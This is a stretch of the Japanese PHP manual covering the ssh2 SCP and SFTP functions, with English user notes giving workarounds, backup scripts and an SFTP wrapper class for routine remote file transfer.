Transferred files can be truncated if you do not call ssh2_exec($connection,'exit').  ssh2_scp_send will return true even if the file did not completely transfer.

eg.

ssh2_scp_send($connection, $infile, $remotefile, 0644);
ssh2_exec($connection, 'exit'); // exit the ssh2 connection
ojovirtual 25-May-2011 01:37
Trying to get a remote file with spaces in its name?

Never forget to use quotes in the remote filename, but never in the local one.

Example:

<?php
$remote_file_name="my name with spaces.ext"

ssh2_scp_recv($cn,$remote_file_name,$local_path."/".$remote_file_name); // ERROR

ssh2_scp_recv($cn,"\"".$remote_file_name."\"",$local_path."/".$remote_file_name); //OK

ssh2_scp_recv($cn,"\"".$remote_file_name."\"","\"".$local_path."/".$remote_file_name."\""); //ERROR
?>

So, the quotes in the file name are needed only for remote, not for local.
luis dot sv at gmail dot com 19-May-2010 03:16
This function can be used to copy all files into a directory on a remote server, using SSH and SCP.

<?php
$connection = ssh2_connect('host', 22);
ssh2_auth_password($connection, 'user', 'password');

$remote_dir="/remote_dir/";
$local_dir="/local_dir/";

$com ="ls $remote_dir";
$stream = ssh2_exec($connection, $com);
stream_set_blocking($stream,true);
$cmd=fread($stream,4096);

$arr=explode("\n",$cmd);

$total_files=sizeof($arr);

for($i=0;$i<$total_files;$i++){
    $file_name=trim($arr[$i]);
    if($file_name!=''){
        $remote_file=$remote_dir.$file_name;
        $local_file=$local_dir.$file_name;

        if(ssh2_scp_recv($connection, $remote_file,$local_file)){
            echo "File ".$file_name." was copied to $local_dir<br />";
        }
    }
}

fclose($stream);
?>
gordon_e_rouse at yahoo dot com dot au 28-May-2008 03:19
Being still in Beta, I guess it will have it quirks. One I found was that if the remote filename has brackets in it, it just wont work.

I should file it as a bug report, but find the process all intimidating really - I am always just a stupid user who does not know what he is on about!

But anyway - the work around of renaming the file before downloading it works fine.

use:
$_new_path = str_replace("(", "", $_path );
$_new_path = str_replace(")", "", $_new_path );

ssh2_sftp_rename( $sftp,  $_path, $_new_path );

To tell you the truth I haven't determined if it is the open or close bracket, or both. Someone else can investigate that.

Meanwhile, it would be good to know all the bad filename characters which this function has problems with, no doubt there are more.
miller4980 at msn dot com 23-Apr-2008 11:10
Problem:
  can't pass an array to sftp_scp_rec()
  also: for Windows: sftp was not happy when connecting to   a  Windows dir.
  eg: sftp_scp_rec($connection, "remote/directory","local/$directory[$i]");
Solution:
The array was placing whitespace on the end of the variable.
trim(" ","",$directory[$i]);

connecting to Windows dir:
sftp_scp_rec($connection, "linux/directory","\\windows\share[$i]");

This script backs up remote Linux directories to a local Windows directory based on modified dates of files.

The Idea is to get a complete back up of a directory via ftp client etc.
Then when the script runs it will back up newly modified files only.

<?php
//error_reporting(0);

$file        ='';
$arr2        ='';
$arr1        ='';
$ldir         = '';

$remotedirs[0]     = "Domain name or IP address/";
$remotedirs[1]     = "Domain name or IP address/";
$remotedirs[2]     = "Domain name or IP address/";
$remotedirs[3]     = "Domain name or IP address/";

    $fh = fopen("c:\dirlist.txt","w");
    fwrite($fh, " ");
    fclose($fh);
foreach ($remotedirs as $val){
echo $remotedir = "/data/www/$val/";
$localdir     = "\\\\192.168.0.234\\C$\\xampp\\htdocs\\$val\\";
backupwebsites($remotedir,$localdir);
}
function backupwebsites($remotedir,$localdir){
    $connection = ssh2_connect(Host IP or Domain, 22);
    $com ="ls -R -lt $remotedir";
    ssh2_auth_password($connection, 'user', 'password');
    $stream = ssh2_exec($connection, $com );
    stream_set_blocking($stream, true);
    $output = stream_get_contents($stream);

    $fh = fopen("c:\dirlist.txt","a+");
    fwrite($fh, $output);
    fclose($fh);
    $handle = @fopen('c:\dirlist.txt', "r");
if ($handle) {
   while (!feof($handle)) {
       $lines[] = fgets($handle, 4096);
   }
   fclose($handle);
}
    foreach ($lines as $val)
    {
        $yr = date('Y-m-d');
        $i++;
        $arr1=split("200",$val);
        $arr2=explode(" ",$arr1[1]);
        if("200".$arr2[0]==$yr)
        {
            //if("200".$arr2[0]=='2008-04-21'){    //for testing
            $remotedir = $remotedir.$arr2[2];
            $cpy=$arr2[2];
            $file = $localdir;
            glue($connection,$remotedir,$localdir,$cpy);
        }
    }
}
//echo $i;
function glue($connection,$remotedir,$localdir,$cpy){
    $ldir[0] = "$localdir";
    $ldir[1]="$cpy";
    $file = $ldir[0].$ldir[1];
    $file = trim($file);
     $file;
 gop($connection,$remotedir,$file);
}
function gop($connection,$remotedir,$file){
echo $file;

ssh2_scp_recv(
$connection,
$remotedir,
$file);
}

?>
chad dot [the letter d] johnson AT gmail 26-Mar-2008 12:23
If when trying to use this function you get "Warning: ssh2_scp_send(): Failure creating remote file," then try using

$data = file_get_contents("ssh2.sftp://$sftp/path/to/file");
jcalcote at novell dot com 08-Aug-2006 01:51
If you scan a remote directory for a list of files by using opendir and readdir on a path obtained from ssh2_sftp(), you'll end up with a list of full file paths containing the ssh2.sftp://$sftp prefix, where $sftp is the sftp resource string returned by ssh2_sftp.

If you later attempt to use ssh2_scp_recv() (even on the same connection!) to copy files locally from the remote path, the copy operation will fail because ssh2_scp_recv() doesn't like the wrapper path prefix. It expects remote file references to be rooted at the base of the remote file system (eg., '/').

Moral: ssh2_scp_recv() likes paths rooted at the file system root on the remote machine, not full network paths. This routine will fail with an obscure message about not being able to copy the files - yet when you go look it works fine. Worse, when you connect and copy them from an scp shell session, it also works fine.


SCP 経由でファイルを送信する

  • ≪ ssh2_scp_recv
  • ssh2_sftp_chmod ≫
  • PHP Manual
  • SSH2 関数
  • SCP 経由でファイルを送信する

ssh2_scp_send

(PECL ssh2 >= 0.9.0)

ssh2_scp_send — SCP 経由でファイルを送信する

説明

ssh2_scp_send ( resource $session , string $local_file , string $remote_file , int $create_mode = 0644 ) : bool

ローカルファイルシステムからリモートサーバーに SCP プロトコルを使用してコピーします。

パラメータ

session

ssh2_connect() のコールによって取得した SSH 接続リンク ID。

local_file

ローカルファイルへのパス。

remote_file

リモートファイルへのパス。

create_mode

ファイルは create_mode で指定されたモードで作成されます。

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 SCP 経由でのファイルのアップロード

<?php
$connection = ssh2_connect('shell.example.com', 22);
ssh2_auth_password($connection, 'username', 'password');

ssh2_scp_send($connection, '/local/filename', '/remote/filename', 0644);
?>

参考

  • ssh2_scp_recv() - SCP 経由でファイルを要求する
  • copy() - ファイルをコピーする

User Contributed Notes

j dot patus at simpledino dot com 07-Feb-2017 09:40
In case the command:

$sftpStream = @fopen('ssh2.sftp://'.$sftp.$dstFile, 'w');

causes you a segmentation fault, try using:

$sftpStream = @fopen('ssh2.sftp://'.intval($sftp).$dstFile, 'w');

Credit: http://stackoverflow.com/questions/7414175/php-sftp-seg-fault
emmanuel dot kartmann at prosdk dot com 02-Apr-2010 06:23
On Windows, I had trouble using ssh2_scp_send: files copied to a remote server where incomplete (truncated) and/or locked (error message : "access denied"). The back-end is also on Windows, using CopSSH (cygwin-based SSH server).

The SSH session was kept open - and the file were never flushed to disk.

There's a workaround though - make an explicit call to "exit" to close the session (flushing file content to disk):

<?php
  $objConnection = ssh2_connect($strHost, $strPort, $methods, $callbacks);
  ssh2_auth_password($objConnection, $strUser, $strPassword);
  ssh2_scp_send($objConnection , $strSource, $strDest);

  // Add this to flush buffers/close session
  ssh2_exec($objConnection, 'exit');
?>
stefanov at uk dot ibm dot com 02-May-2008 02:07
In addition to my previous post, I figured out that sftp->fopen->file_get_contents->fwrite has much better performance than ssh2_scp_send.

I've used the following code to test:

<?php
$srcFile = '/var/tmp/dir1/file_to_send.txt';
$dstFile = '/var/tmp/dir2/file_received.txt';

// Create connection the the remote host
$conn = ssh2_connect('my.server.com', 22);

// Create SFTP session
$sftp = ssh2_sftp($conn);

$sftpStream = @fopen('ssh2.sftp://'.$sftp.$dstFile, 'w');

try {

    if (!$sftpStream) {
        throw new Exception("Could not open remote file: $dstFile");
    }

    $data_to_send = @file_get_contents($srcFile);

    if ($data_to_send === false) {
        throw new Exception("Could not open local file: $srcFile.");
    }

    if (@fwrite($sftpStream, $data_to_send) === false) {
        throw new Exception("Could not send data from file: $srcFile.");
    }

    fclose($sftpStream);

} catch (Exception $e) {
    error_log('Exception: ' . $e->getMessage());
    fclose($sftpStream);
}
?>

For the test I've sent three files with total size of 6kB, and the times to send including connect to the server were:

SFTP -> 15 sec.
ssh2_scp_send -> 22 sec.

Cheers,

Pimmy
stefanov at uk dot ibm dot com 25-Apr-2008 02:23
After some testing I figured out that ssh2_scp_send does not work exactly as the standard scp command:

- Works: ssh2_scp_send($conn, '/var/tmp/file_01.txt', /var/tmp/file_02.txt');
- Wrong: ssh2_scp_send($conn, '/var/tmp/file_01.txt', /var/tmp'); (Creates file with name 'tmp')
- Fails: ssh2_scp_send($conn, '/var/tmp/file_01.txt', /var/tmp/');
- Fails: ssh2_scp_send($conn, '/dirname', /var/tmp/'); (No recursion)
- Fails: ssh2_scp_send($conn, '/dirname/*', /var/tmp/'); (Cannot copy more than one file.)

Cheers,

Pimmy


ファイルのモードを変更する

  • ≪ ssh2_scp_send
  • ssh2_sftp_lstat ≫
  • PHP Manual
  • SSH2 関数
  • ファイルのモードを変更する

ssh2_sftp_chmod

(PECL ssh2 >= 0.12)

ssh2_sftp_chmod — ファイルのモードを変更する

説明

ssh2_sftp_chmod ( resource $sftp , string $filename , int $mode ) : bool

指定したファイルのモードの mode への変更を試みます。

パラメータ

sftp

SSH2 SFTP リソース。ssh2_sftp() で開いたもの。

filename

ファイルへのパス。

mode

ファイルのパーミッション。このパラメータの詳細は chmod() を参照ください。

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 リモートサーバー上でのファイルのモード変更

<?php
$connection = ssh2_connect('shell.example.com', 22);
ssh2_auth_password($connection, 'username', 'password');
$sftp = ssh2_sftp($connection);

ssh2_sftp_chmod($sftp, '/somedir/somefile', 0755);
?>

参考

  • chmod() - ファイルのモードを変更する
  • ssh2_sftp() - SFTP サブシステムを初期化する
  • ssh2_connect() - SSH サーバーに接続する

User Contributed Notes

boris at brdaric dot com 17-Jan-2020 09:40
It seems that when creating directory using this function, permissions are affected by the system umask setting.

If you want to make sure proper permissions are set, after creating directory, set permissions by using ssh2_?sftp_?chmod function.


シンボリックリンクの情報を取得する

  • ≪ ssh2_sftp_chmod
  • ssh2_sftp_mkdir ≫
  • PHP Manual
  • SSH2 関数
  • シンボリックリンクの情報を取得する

ssh2_sftp_lstat

(PECL ssh2 >= 0.9.0)

ssh2_sftp_lstat — シンボリックリンクの情報を取得する

説明

ssh2_sftp_lstat ( resource $sftp , string $path ) : array

リンクを辿らないで リモートファイルシステムのシンボリックリンクの情報を取得します。

PHP 5 では、この関数は ssh2.sftp:// ラッパーを使用した場合の lstat() 関数と同様です。 返り値も同じです。

パラメータ

sftp

ssh2_sftp() でオープンした SSH2 SFTP リソース。

path

リモートのシンボリックリンクへのパス。

返り値

返り値の詳細については stat() のドキュメントを参照ください。

例

例1 SFTP 経由でのシンボリックリンクの情報の取得

<?php
$connection = ssh2_connect('shell.example.com', 22);
ssh2_auth_password($connection, 'username', 'password');

$sftp = ssh2_sftp($connection);
$statinfo = ssh2_sftp_lstat($sftp, '/path/to/symlink');

$filesize = $statinfo['size'];
$group = $statinfo['gid'];
$owner = $statinfo['uid'];
$atime = $statinfo['atime'];
$mtime = $statinfo['mtime'];
$mode = $statinfo['mode'];
?>

参考

  • ssh2_sftp_stat() - リモートファイルシステム上のファイルの情報を取得する
  • lstat() - ファイルあるいはシンボリックリンクの情報を取得する
  • stat() - ファイルに関する情報を取得する

User Contributed Notes

There are no user contributed notes for this page.


ディレクトリを作成する

  • ≪ ssh2_sftp_lstat
  • ssh2_sftp_readlink ≫
  • PHP Manual
  • SSH2 関数
  • ディレクトリを作成する

ssh2_sftp_mkdir

(PECL ssh2 >= 0.9.0)

ssh2_sftp_mkdir — ディレクトリを作成する

説明

ssh2_sftp_mkdir ( resource $sftp , string $dirname , int $mode = 0777 , bool $recursive = false ) : bool

リモートファイルサーバーに mode で指定された権限でディレクトリを作成します。

この関数は ssh2.sftp:// ラッパーを使用した場合の mkdir() と同様です。

パラメータ

sftp

ssh2_sftp() でオープンした SSH2 SFTP リソース。

dirname

新しいディレクトリへのパス。

mode

新しいディレクトリのパーミッション。 実際のパーミッションの値は、現在の umask の影響を受けます。

recursive

もし recursive が true の場合、 dirname に必要とされる全ての親ディレクトリは自動的に作成されます。

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 リモートサーバー上へのディレクトリの作成

<?php
$connection = ssh2_connect('shell.example.com', 22);
ssh2_auth_password($connection, 'username', 'password');
$sftp = ssh2_sftp($connection);

ssh2_sftp_mkdir($sftp, '/home/username/newdir');
/* もしくは次の通り:  mkdir("ssh2.sftp://$sftp/home/username/newdir"); */
?>

参考

  • mkdir() - ディレクトリを作る
  • ssh2_sftp_rmdir() - ディレクトリを削除する

User Contributed Notes

There are no user contributed notes for this page.


シンボリックリンクのターゲットを返す

  • ≪ ssh2_sftp_mkdir
  • ssh2_sftp_realpath ≫
  • PHP Manual
  • SSH2 関数
  • シンボリックリンクのターゲットを返す

ssh2_sftp_readlink

(PECL ssh2 >= 0.9.0)

ssh2_sftp_readlink — シンボリックリンクのターゲットを返す

説明

ssh2_sftp_readlink ( resource $sftp , string $link ) : string

シンボリックリンクのターゲットを返します。

パラメータ

sftp

ssh2_sftp() でオープンした SSH2 SFTP リソース。

link

シンボリックリンクへのパス。

返り値

シンボリックリンク link のターゲットを返します。

例

例1 シンボリックリンクの読み込み

<?php
$connection = ssh2_connect('shell.example.com', 22);
ssh2_auth_password($connection, 'username', 'password');
$sftp = ssh2_sftp($connection);

$target = ssh2_sftp_readlink($sftp, '/tmp/mysql.sock');
/* $target は例えば次のような感じ: '/var/run/mysql.sock' */
?>

参考

  • readlink() - シンボリックリンク先を返す
  • ssh2_sftp_symlink() - シンボリックリンクを作成する

User Contributed Notes

There are no user contributed notes for this page.


指定されたパス文字列の実パスを解決する

  • ≪ ssh2_sftp_readlink
  • ssh2_sftp_rename ≫
  • PHP Manual
  • SSH2 関数
  • 指定されたパス文字列の実パスを解決する

ssh2_sftp_realpath

(PECL ssh2 >= 0.9.0)

ssh2_sftp_realpath — 指定されたパス文字列の実パスを解決する

説明

ssh2_sftp_realpath ( resource $sftp , string $filename ) : string

filename をリモートファイルシステム上の有効な実パスに変換します。

パラメータ

sftp

ssh2_sftp() でオープンした SSH2 SFTP リソース。

filename

返り値

実際のパスを表す文字列を返します。

例

例1 パス名の解決

<?php
$connection = ssh2_connect('shell.example.com', 22);
ssh2_auth_password($connection, 'username', 'password');
$sftp = ssh2_sftp($connection);

$realpath = ssh2_sftp_realpath($sftp, '/home/username/../../../..//./usr/../etc/passwd');
/* $realpath は次の通り: '/etc/passwd' */
?>

参考

  • realpath() - 正規化された絶対パス名を返す
  • ssh2_sftp_symlink() - シンボリックリンクを作成する
  • ssh2_sftp_readlink() - シンボリックリンクのターゲットを返す

User Contributed Notes

There are no user contributed notes for this page.


リモートファイルを改名する

  • ≪ ssh2_sftp_realpath
  • ssh2_sftp_rmdir ≫
  • PHP Manual
  • SSH2 関数
  • リモートファイルを改名する

ssh2_sftp_rename

(PECL ssh2 >= 0.9.0)

ssh2_sftp_rename — リモートファイルを改名する

説明

ssh2_sftp_rename ( resource $sftp , string $from , string $to ) : bool

リモートファイルシステム上のファイルを改名します。

パラメータ

sftp

ssh2_sftp() でオープンした SSH2 SFTP リソース。

from

名前を変更したいファイル。

to

from のかわりに新しく使用したいファイル名。

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 sftp 経由でのファイルの改名

<?php
$connection = ssh2_connect('shell.example.com', 22);
ssh2_auth_password($connection, 'username', 'password');
$sftp = ssh2_sftp($connection);

ssh2_sftp_rename($sftp, '/home/username/oldname', '/home/username/newname');
?>

参考

  • rename() - ファイルをリネームする

User Contributed Notes

Andr Ribas 28-Mar-2017 06:24
For some unknown reason we weren't able to rename the remote file using sftp_rename function. Instead we've used the following code:

<?php
    $connection = ssh2_connect('localhost', 22);
    ssh2_auth_password($connection, 'username', 'password');
    $sftp = ssh2_sftp($connection);

    $fromSftpUrl = "ssh2.sftp://{$sftp}/{$path_from}";
    $toSftpUrl = "ssh2.sftp://{$sftp}/{$path_to}";

    $success = rename($fromSftpUrl, $toSftpUrl);
?>
thomas dot hebinck at digionline dot de 10-Nov-2011 09:57
An already existing file will NOT be overwritten.

http://www.openssh.com/txt/draft-ietf-secsh-filexfer-02.txt

"It is an error if there already exists a file with the name specified by newpath."


ディレクトリを削除する

  • ≪ ssh2_sftp_rename
  • ssh2_sftp_stat ≫
  • PHP Manual
  • SSH2 関数
  • ディレクトリを削除する

ssh2_sftp_rmdir

(PECL ssh2 >= 0.9.0)

ssh2_sftp_rmdir — ディレクトリを削除する

説明

ssh2_sftp_rmdir ( resource $sftp , string $dirname ) : bool

リモートのファイルサーバーからディレクトリを削除します。

この関数は ssh2.sftp:// ラッパーを使用した場合の rmdir() と同様です。

パラメータ

sftp

ssh2_sftp() でオープンした SSH2 SFTP リソース。

dirname

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 リモートサーバー上のディレクトリの削除

<?php
$connection = ssh2_connect('shell.example.com', 22);
ssh2_auth_password($connection, 'username', 'password');
$sftp = ssh2_sftp($connection);

ssh2_sftp_rmdir($sftp, '/home/username/deltodel');
/* もしくは次の通り:  rmdir("ssh2.sftp://$sftp/home/username/dirtodel"); */
?>

参考

  • rmdir() - ディレクトリを削除する
  • ssh2_sftp_mkdir() - ディレクトリを作成する

User Contributed Notes

There are no user contributed notes for this page.


リモートファイルシステム上のファイルの情報を取得する

  • ≪ ssh2_sftp_rmdir
  • ssh2_sftp_symlink ≫
  • PHP Manual
  • SSH2 関数
  • リモートファイルシステム上のファイルの情報を取得する

ssh2_sftp_stat

(PECL ssh2 >= 0.9.0)

ssh2_sftp_stat — リモートファイルシステム上のファイルの情報を取得する

説明

ssh2_sftp_stat ( resource $sftp , string $path ) : array

シンボリックリンクを辿って リモートファイルシステム上のファイルの情報を取得します。

PHP 5 では、この関数は ssh2.sftp:// ラッパーを使用した場合の stat() 関数と同様です。 返される値も同じです。

パラメータ

sftp

ssh2_sftp() でオープンした SSH2 SFTP リソース。

path

返り値

どのような値が返されるのかについての詳細は、 stat() を参照ください。

例

例1 SFTP 経由でのファイルの情報の取得

<?php
$connection = ssh2_connect('shell.example.com', 22);
ssh2_auth_password($connection, 'username', 'password');

$sftp = ssh2_sftp($connection);
$statinfo = ssh2_sftp_stat($sftp, '/path/to/file');

$filesize = $statinfo['size'];
$group = $statinfo['gid'];
$owner = $statinfo['uid'];
$atime = $statinfo['atime'];
$mtime = $statinfo['mtime'];
$mode = $statinfo['mode'];
?>

参考

  • ssh2_sftp_lstat() - シンボリックリンクの情報を取得する
  • lstat() - ファイルあるいはシンボリックリンクの情報を取得する
  • stat() - ファイルに関する情報を取得する

User Contributed Notes

gmmarcus at outlook dot my 03-Aug-2014 07:32
Just to add further, that was for a php 5.3.5 box running a 64 bit linux os....
i havent tested on other versions yet.

But there is quite a lot of noise about this in php bug list.
gmmarcus at outlook dot my 03-Aug-2014 07:17
Pls note that stat does not seem to give proper filesizes even with 64 bit php if files > 2Gb
Darren Wolfe 08-Jun-2012 05:43
As with stat(), the returned size of the file may be wrong if it is over 2GB.


シンボリックリンクを作成する

  • ≪ ssh2_sftp_stat
  • ssh2_sftp_unlink ≫
  • PHP Manual
  • SSH2 関数
  • シンボリックリンクを作成する

ssh2_sftp_symlink

(PECL ssh2 >= 0.9.0)

ssh2_sftp_symlink — シンボリックリンクを作成する

説明

ssh2_sftp_symlink ( resource $sftp , string $target , string $link ) : bool

リモートファイルシステム上に target を指す link という名称のシンボリックリンクを作成します。

パラメータ

sftp

ssh2_sftp() でオープンした SSH2 SFTP リソース。

target

シンボリックリンクのリンク対象。

link

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 シンボリックリンクの作成

<?php
$connection = ssh2_connect('shell.example.com', 22);
ssh2_auth_password($connection, 'username', 'password');
$sftp = ssh2_sftp($connection);

ssh2_sftp_symlink($sftp, '/var/run/mysql.sock', '/tmp/mysql.sock');
?>

参考

  • ssh2_sftp_readlink() - シンボリックリンクのターゲットを返す
  • symlink() - シンボリックリンクを作成する

User Contributed Notes

There are no user contributed notes for this page.


ファイルを削除する

  • ≪ ssh2_sftp_symlink
  • ssh2_sftp ≫
  • PHP Manual
  • SSH2 関数
  • ファイルを削除する

ssh2_sftp_unlink

(PECL ssh2 >= 0.9.0)

ssh2_sftp_unlink — ファイルを削除する

説明

ssh2_sftp_unlink ( resource $sftp , string $filename ) : bool

リモートファイルシステム上のファイルを削除します。

パラメータ

sftp

ssh2_sftp() でオープンした SSH2 SFTP リソース。

filename

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 ファイルの削除

<?php
$connection = ssh2_connect('shell.example.com', 22);
ssh2_auth_password($connection, 'username', 'password');
$sftp = ssh2_sftp($connection);

ssh2_sftp_unlink($sftp, '/home/username/stale_file');
?>

参考

  • unlink() - ファイルを削除する

User Contributed Notes

pfortin at expertime dot com 15-Apr-2020 07:53
For some reasons, sometime it's not working. You can do like this instead:

unlink('ssh2.sftp://' . intval($sftp) . ssh2_sftp_realpath($sftp,".") . "./".$dstFile);
andrew at pause dot ca 29-Jan-2015 03:05
If you've already got a filepath of the form "ssh2.sftp://$sftp/path/to/file" you can just use unlink() on that path


SFTP サブシステムを初期化する

  • ≪ ssh2_sftp_unlink
  • ssh2_shell ≫
  • PHP Manual
  • SSH2 関数
  • SFTP サブシステムを初期化する

ssh2_sftp

(PECL ssh2 >= 0.9.0)

ssh2_sftp — SFTP サブシステムを初期化する

説明

ssh2_sftp ( resource $session ) : resource|false

すでに接続された SSH2 サーバーから SFTP サブシステムを要求します。

パラメータ

session

ssh2_connect() のコールによって取得した SSH 接続リンク ID。

返り値

このメソッドは全ての他の ssh2_sftp_*() や ssh2.sftp:// fopen ラッパーで使用する SSH2 SFTP リソースを返します。 失敗した場合に false を返します

例

例1 SFTP 経由でのファイルのオープン

<?php
$connection = ssh2_connect('shell.example.com', 22);
ssh2_auth_password($connection, 'username', 'password');

$sftp = ssh2_sftp($connection);

$stream = fopen('ssh2.sftp://' . intval($sftp) . '/path/to/file', 'r');
?>

参考

  • ssh2_scp_recv() - SCP 経由でファイルを要求する
  • ssh2_scp_send() - SCP 経由でファイルを送信する

User Contributed Notes

Youz 23-May-2019 07:36
Adding a function to previous class to connect with key instead of user/password

<?php
public function loginWithKey($username, $publicKey, $privateKey, $passphrase = null)
  {
    if (!@ssh2_auth_pubkey_file($this->connection, $username, $publicKey, $privateKey, $passphrase)) {
      throw new Exception("Could not authenticate with given keys or passphrase");
    }

    $this->sftp = @ssh2_sftp($this->connection);
    if (!$this->sftp) {
      throw new Exception("Could not initialize SFTP subsystem.");
    }
  }

?>
php at kanariepiet dot com 30-Mar-2018 08:29
Remember to use stream_set_chunk_size() on the resource for performance reasons, especially if you're uploading large files on links with high latency.

SFTP can only send 32K of data in one packet and libssh2 will wait for a response after each packet sent. So with a default chunk size of 8K the upload will be very slow.
If you set the chunk size to for example 1Mb, libssh2 will send that chunk in multiple packets of 32K and then wait for a response, making the upload much faster.
(see man libssh2_sftp_write for more details)

<?php
$connection = ssh2_connect('shell.example.com', 22);
ssh2_auth_password($connection, 'username', 'password');
$sftp = ssh2_sftp($connection);
$stream = fopen("ssh2.sftp://$sftp/path/to/file", 'w');

stream_set_chunk_size($stream, 1024*1024);
fwrite($stream, $data);
?>
Jarrod Christman 05-Apr-2017 01:06
David's code works wonderfully except for one thing, it wouldn't upload a file until I placed a forward slash after '$sftp'

public function uploadFile($local_file, $remote_file)
    {
        $sftp = $this->sftp;
        // Original
        // "ssh2.sftp://$sftp$remote_file"
        $stream = @fopen("ssh2.sftp://$sftp/$remote_file", 'w');

        if (! $stream)
            throw new Exception("Could not open file: $remote_file");

        $data_to_send = @file_get_contents($local_file);
        if ($data_to_send === false)
            throw new Exception("Could not open local file: $local_file.");

        if (@fwrite($stream, $data_to_send) === false)
            throw new Exception("Could not send data from file: $local_file.");

        @fclose($stream);
    }
btafoya at briantafoya dot com 22-Mar-2017 03:00
Here is a modified SFTPConnection class previously posted that returns a recursive directory scanFilesystem method.

<?php
class SFTPConnection
{
    private $connection;
    private $sftp;

    public function __construct($host, $port=22)
    {
        $this->connection = @ssh2_connect($host, $port);
        if (! $this->connection)
            throw new Exception("Could not connect to $host on port $port.");
    }

    public function login($username, $password)
    {
        if (! @ssh2_auth_password($this->connection, $username, $password))
            throw new Exception("Could not authenticate with username $username " . "and password $password.");
        $this->sftp = @ssh2_sftp($this->connection);
        if (! $this->sftp)
            throw new Exception("Could not initialize SFTP subsystem.");
    }

    public function uploadFile($local_file, $remote_file)
    {
        $sftp = $this->sftp;
        $stream = @fopen("ssh2.sftp://$sftp$remote_file", 'w');
        if (! $stream)
            throw new Exception("Could not open file: $remote_file");
        $data_to_send = @file_get_contents($local_file);
        if ($data_to_send === false)
            throw new Exception("Could not open local file: $local_file.");
        if (@fwrite($stream, $data_to_send) === false)
            throw new Exception("Could not send data from file: $local_file.");
        @fclose($stream);
    }

    function scanFilesystem($remote_file) {
        $sftp = $this->sftp;
        $dir = "ssh2.sftp://$sftp$remote_file";
        $tempArray = array();

        if (is_dir($dir)) {
            if ($dh = opendir($dir)) {
                while (($file = readdir($dh)) !== false) {
                    $filetype = filetype($dir . $file);
                    if($filetype == "dir") {
                        $tmp = $this->scanFilesystem($remote_file . $file . "/");
                        foreach($tmp as $t) {
                            $tempArray[] = $file . "/" . $t;
                        }
                    } else {
                        $tempArray[] = $file;
                    }
                }
                closedir($dh);
            }
        }

        return $tempArray;
    }

    public function receiveFile($remote_file, $local_file)
    {
        $sftp = $this->sftp;
        $stream = @fopen("ssh2.sftp://$sftp$remote_file", 'r');
        if (! $stream)
            throw new Exception("Could not open file: $remote_file");
        $contents = fread($stream, filesize("ssh2.sftp://$sftp$remote_file"));
        file_put_contents ($local_file, $contents);
        @fclose($stream);
    }

    public function deleteFile($remote_file){
        $sftp = $this->sftp;
        unlink("ssh2.sftp://$sftp$remote_file");
    }
}
?>
webakiro at gmail dot com 10-Feb-2016 03:15
If you wish to store once the protocol + ressource used ("ssh2.sftp://$sftp";)
There's a little trick to know...
This won't work :

<?php
function connect(){
    $connection = ssh2_connect('shell.example.com', 22);
    ssh2_auth_password($connection, 'username', 'password');
    $sftp = ssh2_sftp($connection);
    return "ssh2.sftp://$sftp";
}
$remote = connect();
is_file( $remote."/path/to/file");
// Warning
// Message: is_file(): ## is not a valid SSH2 SFTP resource
?>

You need to have $sftp still avaible at moment the function (is_file, filesize, fopen, ...) uses it
Otherwise, I guess the GC cleans it up and closes the ssh2_stfp connection
That's why this work :

<?php
function connect(){
    //...
    global $sftp;
    $sftp = ssh2_sftp($connection);
    return "ssh2.sftp://$sftp";
}
$remote = connect();
is_file( $remote."/path/to/file");

// Or way better :

class myClass {
    public function connect(){
        //...
        $this->sftp     = ssh2_sftp($connection);
        $this->remote   = "ssh2.sftp://".$this->sftp;
    }
    public function test(){
        is_file( $this->remote."/path/to/file");
    }
}
$obj = new myClass();
$obj->connect();
$obj->test();
?>
Josh 25-May-2015 08:47
Note that you must enter the full wrapper URI order for functions that accept those parameters to work properly. For example, this (which is referenced more than once in other comments) does not work:

while (false !== ($file = readdir($handle))) if (is_dir($file)) { /* ... */ }

This does work:

$sc = ssh2_sftp(...);
while (false !== ($file = readdir($handle))) if (is_dir("ssh2.sftp://$sc/$file")) { /* ... */ }

You need to pass the "path" into these functions as an fopen() wrapper URI.
Jaybee 03-Apr-2014 10:02
When uploading (writing) a file you must use an absolute path, not a relative one.

If, like me, you want to use a relative path, you can use the following code:

$fh=fopen("ssh2.sftp://$sftp".ssh2_sftp_realpath($sftp,".")."/fileinmyhomedir.txt");
sandipshah at vthrive dot com 16-Nov-2009 03:05
In

$stream = fopen("ssh2.sftp://$sftp/path/to/file", 'r');

please make sure that you are specifying the "absolute" path to a file.

If not, you'll get errors like

"Unable to open file ..."

The reasoning is simple ... ssh2.sftp://$sftp points to the "root" directory on the remote server, where, most likely, one does not have access.

It is necessary to point it to your "home" directory.  For example, "ssh2.sftp://$sftp/home/username/filename" ... where "/home/username" is where your home directory is.
bas weerman 08-Jul-2008 03:13
I changed the read function to:

    public function receiveFile($remote_file, $local_file)
    {
        $sftp = $this->sftp;
        $stream = @fopen("ssh2.sftp://$sftp$remote_file", 'r');
        if (! $stream)
            throw new Exception("Could not open file: $remote_file");
        $size = $this->getFileSize($remote_file);
        $contents = '';
        $read = 0;
        $len = $size;
        while ($read < $len && ($buf = fread($stream, $len - $read))) {
          $read += strlen($buf);
          $contents .= $buf;
        }
        file_put_contents ($local_file, $contents);
        @fclose($stream);
    }

    public function getFileSize($file){
      $sftp = $this->sftp;
        return filesize("ssh2.sftp://$sftp$file");
    }
bas weerman 14-May-2008 12:22
I added some functionality for scanning the filesystem and receiving and deleting files.

class SFTPConnection
{
    private $connection;
    private $sftp;

    public function __construct($host, $port=22)
    {
        $this->connection = @ssh2_connect($host, $port);
        if (! $this->connection)
            throw new Exception("Could not connect to $host on port $port.");
    }

    public function login($username, $password)
    {
        if (! @ssh2_auth_password($this->connection, $username, $password))
            throw new Exception("Could not authenticate with username $username " . "and password $password.");
        $this->sftp = @ssh2_sftp($this->connection);
        if (! $this->sftp)
            throw new Exception("Could not initialize SFTP subsystem.");
    }

    public function uploadFile($local_file, $remote_file)
    {
        $sftp = $this->sftp;
        $stream = @fopen("ssh2.sftp://$sftp$remote_file", 'w');
        if (! $stream)
            throw new Exception("Could not open file: $remote_file");
        $data_to_send = @file_get_contents($local_file);
        if ($data_to_send === false)
            throw new Exception("Could not open local file: $local_file.");
